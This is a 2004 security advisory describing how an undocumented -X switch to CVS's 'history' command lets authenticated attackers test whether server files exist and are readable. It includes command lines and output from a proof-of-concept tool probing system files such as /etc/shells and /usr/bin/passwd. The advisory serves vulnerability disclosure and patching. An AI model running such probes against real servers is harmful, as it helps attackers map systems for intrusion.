CVS Undocumented Flag Information Disclosure Vulnerability

iDEFENSE Security Advisory 08.16.04:

*I. BACKGROUND*

CVS (Concurrent Versions System) is an open-source network-transparent
version control system.

*II. DESCRIPTION*

Remote exploitation of an information disclosure vulnerability in
Concurrent Versions Systems (CVS) allows attackers to glean information.
The vulnerability exists within an undocumented switch to the 'history'
command implemented in src/history.c. The -X command specifies the name
of the history file allowing an attacker to determine whether arbitrary
system files and directories exist and whether or not the CVS process
has access to them. The following output from iDEFENSE's proof of
concept code demonstrates the impact of this vulnerability:

The file /etc/shells exists and is readable by the CVS daemon:

    $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /etc/shells
    Connected to server.
    E cvs server: warning: history line 1 invalid
    E cvs server: warning: history line 2 invalid
    ...
    E cvs server: warning: history line 7 invalid
    M No records selected.
    ok

The file /usr/bin/password exists and is not readable by the CVS daemon:

    $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /usr/bin/passwd
    Connected to server.
    E cvs [server aborted]: cannot open history file: /usr/bin/passwd:
    Permission denied
    error

The file /etc/foo does not exist.

    $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /etc/foo \
        Connected to server.
    E cvs [server aborted]: cannot open history file: /etc/foo: No \
        such file or directory
    error

/tmp is a directory.

    $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /tmp
    Connected to server.
    E cvs [server aborted]: error reading history file: Is a directory
    error

*III. ANALYSIS*

Successful exploitation allows remote attackers with credentials to the
affected CVS server to determine whether or not arbitrary system files
and directories exist and are accessible under the permissions of the
user that the CVS daemon runs under.

*IV. DETECTION*

iDEFENSE has confirmed the existence of this vulnerability in CVS
version 1.11. Earlier versions are suspected as being vulnerable as
well.

*V. VENDOR RESPONSE*

This issue was patched in the latest (June 9th) releases of CVS,
specifically 1.11.17 & 1.12.9.

*VI. CVE INFORMATION*

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2004-0778 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org <http://cve.mitre.org/>), which
standardizes names for
security problems.

*VII. DISCLOSURE TIMELINE*

07/22/2004   Initial vendor notification
07/22/2004   iDEFENSE clients notified
08/05/2004   Initial vendor response
08/16/2004   Public Disclosure

*VIII. CREDIT*

An anonymous contributor is credited with discovering this
vulnerability.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

*VI. LEGAL NOTICES*

Copyright © 2004 iDEFENSE, Inc.

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Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
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